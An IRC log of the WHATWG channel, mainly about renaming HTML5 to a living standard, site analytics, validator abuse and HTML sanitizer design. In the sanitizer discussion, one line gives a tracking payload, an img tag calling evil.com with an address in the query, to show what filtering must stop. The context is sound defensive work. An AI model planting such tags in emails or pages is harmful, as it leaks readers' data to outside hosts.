| 00:03 | <mpilgrim> | hixie: here |
| 00:04 | <Hixie> | mpilgrim: can you get us analytics for the recent post? |
| 00:05 | <mpilgrim> | 7418 pageviews |
| 00:05 | <mpilgrim> | 102 sources |
| 00:05 | <mpilgrim> | daringfireball.net: 1050 hits |
| 00:05 | <mpilgrim> | news.ycombinator.com: 1045 hits |
| 00:05 | <mpilgrim> | reddit.com: 592 hits |
| 00:05 | <mpilgrim> | twitter: 566 hits |
| 00:06 | <mpilgrim> | google: 410 hits |
| 00:06 | <mpilgrim> | drops off after that |
| 00:09 | <Hixie> | cool, thanks |
| 00:11 | <annevk> | mpilgrim, could you add annevankesteren⊙gc as user? |
| 00:12 | <annevk> | from a brief look at what I used to have that seems to be possible, but I am not sure |
| 00:13 | <mpilgrim> | done |
| 00:13 | <mpilgrim> | i think |
| 00:13 | <Hixie> | ooh ooh add me! add me! |
| 00:13 | <Hixie> | ian.hickson⊙gc |
| 00:13 | <mpilgrim> | try https://www.google.com/analytics/reporting/?id=12053975 |
| 00:14 | <Hixie> | gotta go, bbiab |
| 00:14 | <annevk> | http://daringfireball.net/linked/2011/01/19/ped-score o_O |
| 00:14 | <annevk> | cool |
| 00:14 | <annevk> | thanks |
| 00:16 | <bga_> | does whatwg has own logo? |
| 00:17 | <ben_c> | yeah, and it covers whatwg, w3c, google and bananas |
| 00:18 | <TabAtkins> | Anybody know much about the USB HID standard? I'm looking to sanity check an idea. |
| 00:18 | <bga_> | i see. thanks |
| 00:18 | <ben_c> | bga_: there's actually the green question mark in the circle |
| 00:19 | <annevk> | bga_, http://www.whatwg.org/images/logo |
| 02:41 | <jacobolus> | mpilgrim: I know it's 60% off, but do you really expect us to buy the dead tree version of the html5 book when it's missing all the cute illustrations? |
| 02:43 | <jacobolus> | (I was sad to see them gone when I finally looked at a copy in a bookstore recently) |
| 02:43 | <paul_irish> | illustrations++ |
| 02:44 | <jacobolus> | oh wait, is the 60% off only for the ebook? |
| 02:45 | <jacobolus> | so no illustrations and not even any dead trees? |
| 02:45 | <nimbupani> | whats not to luv |
| 02:49 | <mpilgrim> | no, i expect you to buy a bag of bits with no illustrations |
| 02:54 | <jacobolus> | mpilgrim: out of curiosity, did someone force you to ditch the pretty illustrations? |
| 02:54 | <jacobolus> | and if so, can we call to complain? :) |
| 02:55 | <jacobolus> | (this whole logo brouhaha has me in the complaining mood) |
| 02:55 | <mpilgrim> | talk to my o'reilly editor |
| 02:55 | <mpilgrim> | they wanted to maintain their branding |
| 02:57 | <mpilgrim> | i agreed as long as i could hand them HTML files and never have to touch Microsoft Word |
| 02:57 | <jacobolus> | haha. fair enough |
| 02:57 | <mpilgrim> | true story |
| 02:58 | <jacobolus> | yeah, avoiding word is a pretty good trade for just about any other terms they might want to throw at it |
| 03:26 | <Serenalis> | I just read the HTML is the new HTML5 blog post…and earlier today I saw the W3C announcement that they're launching a whole branding campaign around the term "HTML5." Doesn't this seem a bit inconsistent and divisive? |
| 03:27 | <Hixie> | the "HTML5" in the W3C logo effort and the WHATWG HTML spec aren't the same thing, so no |
| 03:27 | <Hixie> | in fact that's one of the reasons we changed it, to avoid confusion |
| 03:29 | <Serenalis> | There's already a great deal of confusion in the media and even among erudite web developers about what constitutes HTML5, and on that basis I agree with WHATWG's decision. |
| 03:30 | <Hixie> | cool |
| 03:30 | <Serenalis> | What concerns me is that just as web standards have finally reached a level of universal appeal and compliance, the two bodies that define them have gone in diametrically opposite directions with terminology (and to some extent, standards defining methodology). |
| 03:31 | <Hixie> | to be fair, the w3c hasn't changed direction |
| 03:31 | <Hixie> | and the whatwg changed direction last year (actually in late 2009), we just didn't change the name until today |
| 03:31 | <Serenalis> | Yes, true. |
| 03:32 | <Hixie> | in practice i don't think the directions are really incompatible -- we're still working together on the specs for example |
| 03:32 | <wirepair> | is there a page/blog/place one can get a definitive answer to all this inconsistency? wouldn't that help clear some things up? |
| 03:32 | <Hixie> | though i do think the w3c should join us in the version-less world :-) |
| 03:32 | <Hixie> | wirepair: i'm trying to update the faq, what question should i add? not sure what's unclear :-) |
| 03:33 | <wirepair> | how about... "The media seems really unclear on what HTML5 is and how it relates to newer web technology, what specificially designs HTML5 and how is it different than the whatwg HTML branding?" |
| 03:33 | <wirepair> | something like that ;) |
| 03:34 | <bga_> | s/version less/revision bases/ i guess |
| 03:34 | <MikeSmith> | Hixie: are e.g., dropzone="f:text/plain f:text/html" and dropzone="s:text/plain f:text/plain" meant to valid? |
| 03:34 | <wirepair> | err designates |
| 03:34 | <Hixie> | wirepair: let me update the current qs in the faq and then i'll ping you again and see if it answers the question |
| 03:34 | <wirepair> | oh i'm not saying i'm confused |
| 03:34 | <wirepair> | i'm saying the journalists are |
| 03:35 | <wirepair> | :) |
| 03:35 | <wirepair> | i think it's pretty simple tbh ehe |
| 03:35 | <Hixie> | wirepair: i'll ping you and you can see if you think they'll be less confused :-) |
| 03:35 | <wirepair> | sure :) |
| 03:36 | <Hixie> | MikeSmith: yes |
| 03:36 | <MikeSmith> | ok |
| 03:36 | <MikeSmith> | thanks |
| 03:36 | <Hixie> | MikeSmith: first one accepts text files and html files dragged in, second one accepts text selections dragged in and text files dragged in |
| 03:36 | <fullroundaction> | hey wait this isn't #nerdshitnoonecares about |
| 03:37 | <Hixie> | it isn't...? methinks he was lost. |
| 03:37 | <MikeSmith> | Hixie: I see -- thanks |
| 03:37 | <MikeSmith> | Hixie: no, clear to me know |
| 03:37 | <MikeSmith> | spec is clear |
| 03:38 | <MikeSmith> | Hixie: just trying to write the checker code for it |
| 03:40 | MikeSmith | now realizes Hixie was replying to dude |
| 03:40 | <Hixie> | heh |
| 03:42 | <Serenalis> | Are the WHATWG version of the HTML Living Standard and the W3C version of HTML5 always going to be consistent at least for the parts they have in common? |
| 03:43 | <Serenalis> | I understand that they're drawn from the same source document, but I'm also concerned that one or the other version may end up substantially different from the other due to this change in direction, and I wonder what this will mean for implementations in practice. |
| 03:43 | <benschwarz> | MikeSmith: :) |
| 03:45 | <MikeSmith> | benschwarz: ♨ |
| 03:52 | <Hixie> | Serenalis: yes, they'll always be consistent (unless one goes way off the rails of course, but then that one will just be ignored) |
| 03:56 | <Serenalis> | Thanks for clearing that up, though I think that might be a useful FAQ entry for people who are very concerned on a practical level about writing standards-compliant code and especially convincing skeptical project managers about why that's both important and doable. :P |
| 04:06 | <Serenalis> | Hixie, with HTML as a living standard, is the intent that the spec will drive implementations or that implementations will shape the spec? |
| 04:06 | <Hixie> | both |
| 04:06 | <Hixie> | in practice it's always been both for successful specs |
| 04:08 | <nimbupani> | http://omghtml5.com/post/2837210354/the-most-standards-compliant-html5-logo |
| 04:10 | <Serenalis> | Hixie: I agree. One of the biggest criticisms of W3C specs historically has been that they have been disconnected with reality. This Living Standard approach could fix that. Do you think there's a chance W3C will follow suit? |
| 04:12 | <Serenalis> | Also, by the way, sorry for barging in and demanding answers with no preamble! Thanks very much for taking the time to talk, I really do appreciate it. |
| 04:20 | <jacobolus> | Serenalis: people who are concerned about writing compliant code are going to write code based on what is implemented in browsers, hopefully; making that be the same as the spec is (so far as I can tell) priority #1 for at least the WHATWG version |
| 04:20 | <Hixie> | Serenalis: happy to answer questions, sorry for the lag in my answers :-) (i'm editing the faq) |
| 04:20 | <jacobolus> | also, the people in here seem pretty friendly towards those of us who barge in and talk from time to time |
| 04:21 | <Hixie> | Serenalis: i don't know if the w3c will follow, but i really hope so |
| 04:21 | <jacobolus> | so don't worry about it, unless someone says otherwise |
| 04:21 | <Hixie> | Serenalis: it is unfortunately one of the most ingrained things at the w3c, so it might take a while |
| 04:24 | <Hixie> | is there a better definition for namespaces than http://www.w3schools.com/xml/xml_namespaces.asp ? |
| 04:25 | <nimbupani> | :| |
| 04:26 | <Serenalis> | jacobolus: I agree completely. Thanks. :) |
| 04:27 | <nimbupani> | https://developer.mozilla.org/en/SVG:Namespaces_Crash_Course needs some copyediting |
| 04:34 | <Serenalis> | Is the "What you can do" WHATWG wiki entry still current? I may be interested in getting involved once I get up to speed on the latest. |
| 04:34 | <Serenalis> | It'd be nice to contribute meaningfully rather than just asking questions. |
| 04:35 | <Hixie> | it's probably current |
| 04:36 | <Hixie> | haven't checked recently |
| 04:36 | <Hixie> | will do in a minute |
| 04:36 | <Hixie> | still editing the faq |
| 04:36 | <othermaciej> | Hixie: looks like s/HTML5/HTML/ has been rather well received after all |
| 04:37 | <Hixie> | yeah, i'm shocked at how well it went |
| 04:37 | <Hixie> | honestly didn't expect it to be this good |
| 04:37 | <cutepy> | hi i have a project to create an online document viewer. I plan to convert pdf documents to html for showing the documents. |
| 04:37 | <cutepy> | does anyone have any idea of how to program this |
| 04:37 | <Hixie> | i figured it'd be 50/50 at best and that people would come over in due course |
| 04:42 | <othermaciej> | a handfull of people expressed dislike, in the comments I saw, but not very strongly even |
| 04:42 | <Serenalis> | once I understood the intent, my reaction was kind of like "thank god" |
| 04:42 | <Serenalis> | "someone actually is connected with reality finally" |
| 04:43 | <Serenalis> | (as an outsider :)) |
| 04:43 | <Serenalis> | I understand WHATWG has been working this way for a while, but to go public with an announcement was great |
| 04:50 | <evilandlazy> | My daughter suggested a new logo for the living standard. Hope you like it: http://www.zazzle.com/html_no_5_logo_shirt-235649046014311218 |
| 04:52 | <Serenalis> | haha nice |
| 04:52 | <Serenalis> | I'm going to go ahead and say for the record that I rather strongly dislike the new w3c logo. |
| 04:52 | <bga_> | roof of house |
| 04:53 | <bga_> | top view |
| 04:57 | <Hixie> | evilandlazy: nice |
| 05:00 | <othermaciej> | I miss the green stripe |
| 05:02 | <Duke___> | Hixie: in home http://www.whatwg.org/ is correct HTML5 in section Specs? |
| 05:05 | <othermaciej> | whoah, someone might have just proved that P=NP |
| 05:06 | <othermaciej> | hide your kids, hide your wife, hide your public-key cryptosystems |
| 05:06 | <othermaciej> | http://romvf.wordpress.com/2011/01/19/open-letter/ |
| 05:11 | <Serenalis> | Hixie: it was good to meet you; thanks for answering my questions. :) There may be more later! Good night all. |
| 05:58 | <MikeSmith> | ´/me wonders if Java has a simple way to tokenize a string and check if it has any duplicate tokens |
| 07:06 | <hsivonen> | Hixie: relevant to canvas a11y: https://mozillalabs.com/skywriter/2011/01/18/mozilla-skywriter-has-been-merged-into-ace/ |
| 07:06 | <Hixie> | yeah i heard about that |
| 07:06 | <Hixie> | good news |
| 07:09 | <Hixie> | http://wiki.whatwg.org/wiki/FAQ is updated |
| 07:09 | <Hixie> | wirepair: ^ |
| 07:09 | <Hixie> | bbl |
| 07:47 | <MikeSmith> | hsivonen: bugzilla.validator.nu appears to be down |
| 07:48 | <hsivonen> | MikeSmith: yeah. I go to sleep for a night and my Web sites drop off the Web :-( |
| 07:48 | <MikeSmith> | heh |
| 07:49 | <MikeSmith> | teenagers |
| 07:50 | <hsivonen> | MikeSmith: Someone was using the generic instance of Validator.nu too much |
| 07:51 | <hsivonen> | I need to figure out what to do about that |
| 07:51 | <hsivonen> | MikeSmith: anyway, bugzilla.validator.nu and hsivonen.iki.fi are now back |
| 07:52 | <MikeSmith> | cool, thanks |
| 07:54 | <MikeSmith> | hsivonen: don't currently have any rate limiting set up with iptables or whatever? |
| 07:54 | <hsivonen> | MikeSmith: no. I suck at this sysadmin stuff |
| 07:55 | <MikeSmith> | me too :) |
| 07:55 | <MikeSmith> | something I'm glad I don't have to deal with |
| 07:57 | <hsivonen> | OK. I think I found the guilty IP address... |
| 07:58 | <MikeSmith> | hope it's not mine :) |
| 07:58 | MikeSmith | is reading http://brendaneich.com/2011/01/harmony-of-my-dreams/ |
| 08:02 | <hsivonen> | ok. the validator is now back, too, with the resource-over-using IP address banned |
| 08:04 | <hsivonen> | whoa! looks like something with a Yandex IP and a Yandex bot UA is disrespecting robots.txt! |
| 08:04 | <hsivonen> | (but that's not the cause of the DoS problem) |
| 08:07 | <othermaciej> | I wonder why no one has decided that robots.txt must be replaced by some sort of robots.xml |
| 08:11 | <hsivonen> | othermaciej: I believe the has been a draft for XML-based discovery on robots.txt-like things, though |
| 08:11 | <hsivonen> | (I sent email to Yandex) |
| 08:12 | <hsivonen> | MikeSmith: it seems to me iptables is the wrong tool here and I should take the time to implement some kind of throttling in Validator.nu itself |
| 08:13 | <hsivonen> | to dynamically detect IP numbers that make unreasonably frequent request to the Web service APIs |
| 08:16 | <MikeSmith> | hsivonen: that'd be certainly be nice |
| 08:16 | <MikeSmith> | benefit others who run their own instances |
| 08:16 | <MikeSmith> | as a plus |
| 08:21 | <wirepair> | Hixie: looks good :) |
| 08:21 | <zcorpan> | i like the full inline references in developers.whatwg.org |
| 08:23 | <hsivonen> | If the person who has written software in Ruby that hammers validator.nu with bursts of WWW::Mechanize traffic to the JSON-based Web service interface is reading the logs, please make your program sleep for a bit between validations as a courtesy to other users |
| 08:23 | <zcorpan> | although it could leave out the fluff and just have the link text in the references |
| 08:26 | <zcorpan> | benschwarz: i'd prefer a bit darker gray for the examples |
| 08:27 | <benschwarz> | zcorpan: So would I :) |
| 08:27 | <benschwarz> | Its not quite right, I thought the examples would barely be used |
| 08:27 | <benschwarz> | I later discovered that they're *everywhere* |
| 08:27 | <benschwarz> | Its on my list, but perhaps an issue logged would stop people from telling me its wrong :) |
| 08:27 | <benschwarz> | Did you check the issues before asking? |
| 08:28 | <zcorpan> | nope :) |
| 08:28 | <benschwarz> | hmm. okay :) |
| 08:38 | <zcorpan> | Hixie: https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 applies to the normal multipage versions too |
| 08:59 | <wirepair> | hsivonen: are you sure someones not just abusing your validator as a proxy? |
| 08:59 | <wirepair> | i'm pretty sure i've said in this channel that the validators could easily be abused |
| 08:59 | <wirepair> | heh |
| 09:00 | <thiessenp> | Would anyone know what browser versions fully support HTML5 markup? |
| 09:12 | <annevk> | http://my.opera.com/c69/blog/html5-logo-is-ok -- haha |
| 09:18 | <annevk> | I approved a bunch more comments |
| 09:20 | <annevk> | even got a comment from Jukka K. Korpela |
| 09:21 | <annevk> | He thinks we are not making sense |
| 09:24 | <annevk> | We gained over 100 followers on twitter yesterday |
| 09:24 | <annevk> | Lets change names every week! |
| 09:27 | <zcorpan> | next up: DHTML Standard |
| 09:30 | <annevk> | http://plasmasturm.org/log/trolliquette/ |
| 09:30 | <annevk> | :) |
| 09:31 | annevk | approves comment by foolip |
| 09:32 | <annevk> | I believe this is only for the first time people leave a comment |
| 09:32 | <annevk> | Maybe we could turn it off... I have only seen a couple bad comments and most got caught by the spam filter already. |
| 09:33 | <foolip> | hehe, at first I thought you meant "approves" as in "likes" |
| 09:34 | <annevk> | heh |
| 09:34 | <hsivonen> | do we have a canned answer for explaining why hasFeature and similar things by another name don't work? |
| 09:35 | <zcorpan> | foolip: he just concluded that you weren't a spammer, but still didn't like your comment at all |
| 09:37 | <hsivonen> | wirepair: pretty sure. the script was POSTing the content it was validating instead of GETting it from elsewhere |
| 09:39 | <annevk> | http://omghtml5.com/ haha |
| 09:39 | <hsivonen> | thiessenp: no such browser |
| 09:40 | <thiessenp> | hsivonen: booo (thanks :) |
| 09:45 | <annevk> | http://twitter.com/pornelski/status/27871749907423233 has a great theory: "WHATWG moves beyond "HTML5". That's probably just to keep HTML5-committed @IE a version behind again ;)" |
| 09:46 | <zcorpan> | "The hunt for the so-called “HTML5 team” is now underway, more information shortly. A deck of cards will be created for these villains as soon as we know who they are." http://omghtml5.com/post/2062326530/breaking-news-html5-breaks-web-on-purpose |
| 10:23 | <annevk> | I installed a caching plugin by the way |
| 10:23 | <annevk> | The one that was most popular |
| 10:23 | <annevk> | Hopefully it works |
| 10:25 | <annevk> | we had over a 100 retweets btw |
| 10:25 | <annevk> | see http://twitoaster.com/country-in/whatwg/html-is-the-new-html5-—/ |
| 10:26 | <annevk> | "This tweet received 111 twitter mentions (4 replies and 107 retweets) from 110 distinct twitter users. In addition to WHATWG followers, it has been read by 125,918 second-level followers (retweeters followers)." |
| 10:26 | <annevk> | "This conversation is linked to the Twitter India country." |
| 10:26 | <annevk> | lol |
| 10:28 | <hsivonen> | There's India and then there's Twitter India |
| 10:29 | <erlehmann> | lol one one eleven |
| 10:33 | <annevk> | wait, othermaciej points out an article that might suggest P=NP but wasn't there one already that proofed the opposite? |
| 10:34 | <annevk> | http://en.wikipedia.org/wiki/P_versus_NP_problem#Claimed_solutions ah, that was not accepted yet |
| 10:34 | <othermaciej> | annevk: that proof is not widely believed to be valid |
| 10:35 | <annevk> | s/yet// |
| 10:38 | <jgraham> | There is probably a strong correlation between the number of attempted proofs of a problem and its fame. P?=NP is such a famous problem that the density of claimed solutions in either direction is extremely high. Most pass right under the radar, but the internet is very good on picking up those with slightly above-average credibility |
| 10:38 | <annevk> | http://bit.ly/gR27Et - HTML LS |
| 10:39 | <annevk> | I sort of hope that term is not going to catch on :) |
| 10:39 | <heycam> | HTML, Immortal Edition |
| 10:42 | <jgraham> | HTML, God Mode |
| 10:42 | <jgraham> | The specification that cannot die |
| 10:42 | <heycam> | HTML iddqd? |
| 10:42 | <zcorpan> | HTML5 is idkfa |
| 10:44 | <annevk> | http://www.reddit.com/r/programming/comments/f5e8k/yesterday_the_w3c_proposed_a_html5_logo_with_a/ is not very positive overall |
| 10:47 | <matjas> | since when do we care what reddit thinks? |
| 10:48 | <annevk> | just interesting to see what the perception is |
| 10:49 | <zcorpan> | isn't reddit mostly not very positive? |
| 10:50 | <Workshiva> | It seems like the usual misunderstanding of how browser standards work |
| 10:51 | <annevk> | zcorpan, could be |
| 10:52 | <annevk> | overall this went really well I think |
| 10:55 | <Workshiva> | "So yeah, will CSS3 become CSS now?" |
| 10:55 | <Workshiva> | That is actually a great example of how a version number is meaningless |
| 11:03 | <annevk> | updated http://wiki.whatwg.org/wiki/WebAppsTweet to ignore typo and xref fixes |
| 11:06 | <arminbw> | I will call it HTML+ |
| 11:12 | <david_carlisle> | html+ is done already, it expired |
| 11:13 | <annevk> | Another thing I considered doing was enabling an easy way to get the specification for each specific SVN revision. However, I am not entirely sure how to deal with changing dependencies. |
| 11:15 | <arminbw> | So if html+ expired it's actually just html again, right? Old html. |
| 11:16 | <jgraham> | html++ then |
| 11:16 | <annevk> | The whole point is that there is no difference! |
| 11:17 | <Rik`> | and then it will be html# or objective-html ? |
| 11:18 | <david_carlisle> | You should all just be using mathml anyway, this html thing won't catch on |
| 11:22 | <jgraham> | annevk: But html++ means that every person who reads the name gets a unique version number! It is giving ownsership of the spec to the community! |
| 11:25 | <arminbw> | lets put it on github |
| 11:27 | <hsivonen> | "You essentially have to treat browsers as a bunch of somewhat sleazy politicians" -- Robin Berjon |
| 11:28 | <othermaciej> | and a nice day to you too, Mr Berjon |
| 11:28 | <jgraham> | hsivonen: Is there any context or is this twitter? |
| 11:29 | <hsivonen> | jgraham: http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0231.html |
| 11:31 | <jgraham> | Hum. What he actually says is quite reasonable |
| 11:31 | <jgraham> | His phrasing of it is pure flamebait |
| 11:32 | <annevk> | well, or funny |
| 11:32 | <david_carlisle> | othermaciej: He was being nice to you really, and just agreeing with hsivonen that you need to test for what's implemented |
| 11:33 | <othermaciej> | sure, in context his flamebait was eminently reasonable |
| 11:33 | <jgraham> | annevk: Didn't really register as funny for me. I guess he might have been going for "funny" |
| 11:35 | <jgraham> | though |
| 11:39 | <annevk> | as far as I can tell his views have shifted somewhat since the SVG days |
| 11:39 | <annevk> | and are somewhat similar to ours now |
| 11:40 | <hsivonen> | fwiw, I was quoting out of context for amusement. I don't disapprove of Robin's email. |
| 11:40 | <david_carlisle> | annevk: what people get older? |
| 11:42 | <asmodai> | lol @ http://dl.dropbox.com/u/50841/twitter/WhatsNew.png |
| 11:45 | <charlvn> | haha, good one |
| 11:46 | <annevk> | what is rowspan in wiki syntax? |
| 11:46 | <asmodai> | Whoever came up with the badge builder ought to be shot |
| 11:47 | <asmodai> | I thought we ditched such idiotic badges/images finally. |
| 11:48 | asmodai | prepares for a new round of Works with FF/IE and Valid HTML images on pages :( |
| 11:48 | <hsivonen> | asmodai: saying that someone ought to be shot isn't really an improvement over the military imagery |
| 11:48 | <annevk> | found it |
| 11:48 | <Lachy> | asmodai, we ditched idiotic validation badges that made false claims more often than not |
| 11:48 | <asmodai> | hsivonen: Heh, true. |
| 11:49 | <asmodai> | Funny though, if you select those features of the badge builder, it's like HTML5 is growing a Pinoccio nose |
| 12:01 | <annevk> | I made some more changes to the FAQ |
| 12:05 | <hsivonen> | hmm. writing a sanitizer becomes really complicated if you want to decide whether the token becomes an HTML, MathML or SVG element before deciding whether to drop it |
| 12:06 | <hsivonen> | maybe it's just not worth it... |
| 12:08 | <hsivonen> | maintaining distinct attribute white lists for the three should be easy-ish, though |
| 12:09 | <jgraham> | hsivonen: What is the difficulty? |
| 12:10 | <jgraham> | (I'm not saying there isn't one, just wondering what, specifcally, you find hard) |
| 12:11 | <hsivonen> | jgraham: if you drop an element after the tree builder algorithm has run, you need a marker on the stack so that you know to drop the matching end tags but not to drop end tags whose element didn't get dropped |
| 12:12 | <hsivonen> | so then you have this sparse stack where some stack nodes are "not really" markers that you can't append children to but that participate in the tree builder algorithm otherwise |
| 12:12 | <hsivonen> | it looks to me that those "not really" or "can't use this node as a parent" markers will suck for the AAA and such |
| 12:13 | <annevk> | so you want to sanitize during parsing rather than serializing? |
| 12:14 | <hsivonen> | jgraham: otoh, if you always drop all start and end tag tokens for a given tag name, you don't need to keep track of stuff to match end tags with the start tags |
| 12:14 | <hsivonen> | annevk: yes |
| 12:14 | <hsivonen> | annevk: and only from the security POV--not from the correctness POV |
| 12:14 | <david_carlisle> | annevk: On Robin's views changing since svg days "It wasn't long before mobile SVG implementations also used XML parsers that were a little bit more open-minded " :-) |
| 12:17 | <jgraham> | hsivonen: Is it too much work to probe what namespace a tag will become by inspecting the current state of the treebuilder and knowing what the entry/exit points from foreignContent are? |
| 12:19 | <david_carlisle> | hsivonen: is there an existing element name for which you do want to take a different decision, depending on html/mathml/svg, or is this future proofing? |
| 12:20 | <jgraham> | hsivonen: (the big problem I see with speculatively inserting elements and rolling back if they end up in an undesired namespace is around AAA and so) |
| 12:21 | <jgraham> | (I think that would mean you had to snapshot the entire tree rather than just marking the inserted elements) |
| 12:21 | <hsivonen> | david_carlisle: I can't think of one from the security POV |
| 12:22 | <hsivonen> | david_carlisle: so perhaps I shouldn't even try to have distinct white lists |
| 12:22 | <hsivonen> | jgraham: that approach would probably make sense if distinct white lists were actually necessary |
| 12:24 | <annevk> | hmm comments are getting somewhat off-topic |
| 12:24 | <annevk> | oh well |
| 12:24 | <hsivonen> | anyway, I threw away my complicated code and will try again |
| 12:24 | <hsivonen> | this time dropping tokens before the tree builder runs |
| 12:28 | <jgraham> | hsivonen: Presumably the reason would be that future standards bodies might be idiotic enough to invent tag names that are safe in one namespace but not another. Or we might grandfather in a language where, say, <div> means "run this script" |
| 12:28 | <jgraham> | Neither of those would happen in a sane world |
| 12:28 | <Ms2ger> | annevk, | rowspan=n |, if you didn't find it yet |
| 12:28 | <hsivonen> | jgraham: I'm not planning on coding for that scenario |
| 12:29 | <annevk> | Ms2ger, thanks, I figured it out already |
| 12:30 | <david_carlisle> | jgraham: that would be the world in which browser makers don't implement image and not tell us for a decade that we have an unknown name clash? |
| 12:30 | <benschwarz> | Hixie: !Ping |
| 12:31 | <jgraham> | david_carlisle: < jgraham> Neither of those would happen in a sane world |
| 12:32 | <david_carlisle> | jgraham: something about logic and doors |
| 12:35 | <hsivonen> | david_carlisle: fortunately, image is "safe" |
| 12:37 | <hsivonen> | hmm. nested SVG scripts are going to be annoying |
| 12:38 | <david_carlisle> | hsivonen: yes |
| 12:51 | <hsivonen> | hmm. so the list of dangerous well-known HTML elements is script, style, applet, object. Right? |
| 12:51 | <hsivonen> | working out which parts of SVG are dangerous is harder |
| 12:52 | <annevk> | anything that causes a request can be dangerous in a way |
| 12:53 | <benschwarz> | Is there a bot to leave Hixie a message? |
| 12:53 | <annevk> | you can file a bug |
| 12:53 | <jgraham> | Yes, one might imagine organising the code around groups of elements according to their properties |
| 12:53 | <jgraham> | Or just leave the message |
| 12:54 | <hsivonen> | annevk: do you mean for detecting that a user read a span with a unique image? |
| 12:54 | <jgraham> | e.g. script_elements, request_elements, etc. |
| 12:55 | <hsivonen> | and SVG id references that can go across documents is one collection of pain that makes it hard to know which elements end up requesting stuff based on the element name alone |
| 12:57 | <benschwarz> | I just added web stats to the developers.whatwg.org edition… |
| 12:59 | <benschwarz> | and now, bed. later all |
| 13:08 | <annevk> | hsivonen, or somewhat dangerous GET requests |
| 13:09 | <annevk> | e.g. a blog comment in moderation that fetches logout.php |
| 13:10 | <hsivonen> | annevk: a blogging system is full of fail if you can be logged out using GET |
| 13:10 | <annevk> | no argument there |
| 13:10 | <annevk> | guess it depends on what you want to do |
| 13:11 | <annevk> | for email it would be similarly bad |
| 13:11 | <annevk> | <img src=http://evil.com/?you⊙ec> |
| 13:12 | <hsivonen> | I believe Thunderbird catches those on a different layer |
| 13:15 | <annevk> | other things that could be potentially problematic are elements the author did not expect commenters to use or be able to use |
| 13:16 | <annevk> | e.g. if the author has one <header> on his page with some position:absolute styling and a commenter includes that as well... |
| 13:16 | <annevk> | but I guess it depends on whether this API will be exposed to web content or not whether any of the above makes sense |
| 13:19 | <hsivonen> | annevk: good point. that threat isn't being addressed |
| 13:22 | <hsivonen> | stuff like <svg><script><script><h1> is very annoying |
| 13:24 | <annevk> | heh, Julian thinks we changed the name because we are angry with the HTML5 logo |
| 13:24 | <annevk> | http://www.heise.de/ix/meldung/Aus-HTML-5-wird-der-lebende-Standard-HTML-1172423.html |
| 13:25 | <annevk> | hsivonen, it seems filtering the DOM would give much better results |
| 13:25 | <annevk> | hsivonen, also, if we want this at the parser layer, should this be part of the parsing section? |
| 13:27 | <hsivonen> | annevk: it sure starts looking like it doesn't make sense to recommend this function for non-browser users of the parser |
| 13:28 | <hsivonen> | and yeah, I'm starting to suspect whether it makes sense to do this in the parser even in the browser case |
| 13:29 | <hsivonen> | though for perf, it kinda sucks to build a DOM fragment, run a filter on it and then insert it |
| 13:30 | <Philip`> | Is this ever a performance-critical operation? |
| 13:30 | <hsivonen> | Philip`: dunno |
| 13:30 | <hsivonen> | <svg><script><foreignObject><h1>Hi! is annoying, too |
| 14:34 | <jacobolus> | I notice that most (all?) of the little annotations in the margin of the HTML5^H spec say that there are 0 tests and 0 demos for a feature, and nothing written about "implementation status"; is there actually some place where such tests/demos would reside, linked from the spec? aren't there plenty of parts that *do* have tests one place or another around the web? |
| 14:35 | <Philip`> | The tests/demos can be anywhere - someone just needs to update the spec to point to them all |
| 14:35 | <jacobolus> | is there any good coordinated place showing what has tests, what needs tests, etc.? |
| 14:36 | <Philip`> | No |
| 14:36 | <Philip`> | http://wiki.whatwg.org/wiki/Testsuite has links to various things |
| 14:36 | <jacobolus> | it seems like this is a task that could be pretty easily distributed: "write 1-2 test about one of these features"; would be more productive as a discussion than flameouts about nomenclature and so forth |
| 14:37 | <jacobolus> | then again, maybe no one would be interested in writing a test or two |
| 14:37 | <Philip`> | It'd probably be good to coordinate work in the HTML WG testing group rather than having everything as ad hoc as it has been |
| 14:37 | <Lachy> | jacobolus, there are a few that do have some tests written and linked from those annotations. |
| 14:38 | <jacobolus> | I guess there's also the big problem that someone (not volunteering, for sure) would have to do the organizing/coordination |
| 14:38 | <Lachy> | from memory, the video element has a couple. |
| 14:38 | <Philip`> | (There's some (slow) progress in that direction currently) |
| 14:39 | <Philip`> | jacobolus: A person writing 1-2 tests wouldn't really be scalable to what the spec requires, since it'll need tens of thousands of tests |
| 14:40 | <jgraham> | jacobolus: The HTML TEts TF already exists. The main problems are a) getting people to write tests and b) getting the right metadata to link the TCs to the right parts of the spec |
| 14:41 | <jacobolus> | fair enough |
| 14:41 | <jacobolus> | Philip`: fair enough |
| 14:41 | <Philip`> | and the overhead of teaching people how to write good test cases and reviewing them and maintaining them etc means you really need someone to take responsibility for developing a coherent set of tests for a whole section of the spec, I think |
| 14:41 | <Philip`> | else it'll be unmanageable |
| 14:41 | <jgraham> | jacobolus: The only well tested part of the spec is <canvas> where a) was solved by Philip` writing all the tests and B0 was solved by Philip` writing a system for annotating the spec |
| 14:41 | <jacobolus> | i.e. someone needs to make it their full-time job |
| 14:42 | <jgraham> | jacobolus: There are surprising;y few places you can get paid to spend all your time writing spec tests |
| 14:42 | <jgraham> | In fact I don't know of any |
| 14:42 | <jacobolus> | that doesn't seem surprising |
| 14:42 | <annevk> | I'm pretty sure such a position is obtainable |
| 14:42 | <Philip`> | jacobolus: Yeah, that seems like the most efficient way to get the work done, but I suppose that doesn't help much if nobody is in a position to do that :-( |
| 14:43 | <jgraham> | It does mean that as a strategy starting with "1) assume we will get a full time coordinator" is a losing proposition |
| 14:43 | <annevk> | e.g. with Mozilla or Google |
| 14:43 | <jacobolus> | seems like it'd take a substantial amount of work to even try to consolidate the tests which exist and link them to relevant spec sections |
| 14:43 | <jgraham> | annevk: Maybe, but the evidence is that neither Mozilla nor Google *actually* employ anyone to do that |
| 14:44 | <annevk> | yes, because nobody is interested in it |
| 14:44 | <jgraham> | In fact neither are particularly active at all in writing tests for HTML |
| 14:44 | <jacobolus> | but the result is that it's sort of impossible to figure out what parts are tested and what parts aren't |
| 14:44 | <Philip`> | It sounds like browser testing people spend most of their time debugging browser-specific bugs and writing browser-specific tests, instead of standards tests |
| 14:44 | <jacobolus> | right |
| 14:45 | <Philip`> | Is that unavoidable? |
| 14:45 | <jacobolus> | it does seem like a wasted duplication of effort, no? |
| 14:45 | <annevk> | no, but it requires some amount of investment |
| 14:45 | <annevk> | into a framework that can be shared, that people are willing to use |
| 14:45 | <jgraham> | We do write quite a lot of standards tests |
| 14:45 | <annevk> | and that shows some reasonable return of investment |
